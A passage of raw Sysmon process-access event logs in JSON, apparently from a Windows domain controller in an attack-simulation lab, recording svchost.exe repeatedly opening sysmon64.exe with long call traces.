C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1325,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1326,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1327,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1328,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1329,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1330,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1331,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.631","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1332,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 